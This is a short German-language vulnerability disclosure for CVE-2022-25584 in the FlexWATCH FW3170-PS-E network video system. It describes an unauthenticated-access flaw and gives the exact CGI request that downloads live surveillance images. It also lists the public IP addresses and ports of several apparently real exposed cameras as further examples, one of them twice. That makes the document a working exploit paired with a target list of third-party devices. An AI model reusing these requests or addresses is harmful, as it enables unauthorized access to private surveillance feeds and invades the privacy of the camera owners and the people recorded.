
Flexwatch-CVE
Flexwatch-CVE
Dieses Dokument betrifft CVE-2022-25584 "RESERVED"
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25584

Diese Schwachstelle wurde vom CNVD erfasst, ist jedoch noch nicht veröffentlicht worden.
CNVD ID:CNVD-2021-103443

Reproduktion der Schwachstelle:
Wir haben festgestellt, dass das FlexWATCH FW3170-PS-E Network Video System 4.23-3000_GY von Seyeon Tech Co., Ltd. eine Schwachstelle für nicht authentifizierten Zugriff aufweist, die von Angreifern ausgenutzt werden kann, um Überwachungsbilder zu erhalten und vertrauliche Informationen preiszugeben.
Zum Beispiel:
http://211.174.227.102:10001/app/multi/single.asp

Dann können wir Folgendes besuchen: http://211.174.227.102:10001/cgi-bin/fwcamimgsave.cgi?FwModId=0&PortId=0&FwCgiVer=0x0001
Echtzeit-Überwachungsbild herunterladen


Offizielle Website des Unternehmens: http://www.flexwatch.com/
Weitere Fälle:
http://211.240.10.38:10001/app/multi/single.asp
http://121.133.21.35:10001/app/multi/single.asp
http://210.223.145.159:10001/app/multi/single.asp
http://115.142.194.178:10001/app/multi/single.asp
http://115.142.194.178:10001/app/multi/single.asp
http://27.1.124.18:10001/app/multi/single.asp
http://183.100.61.196:10001/app/multi/single.asp
http://118.176.196.247:10001/app/multi/single.asp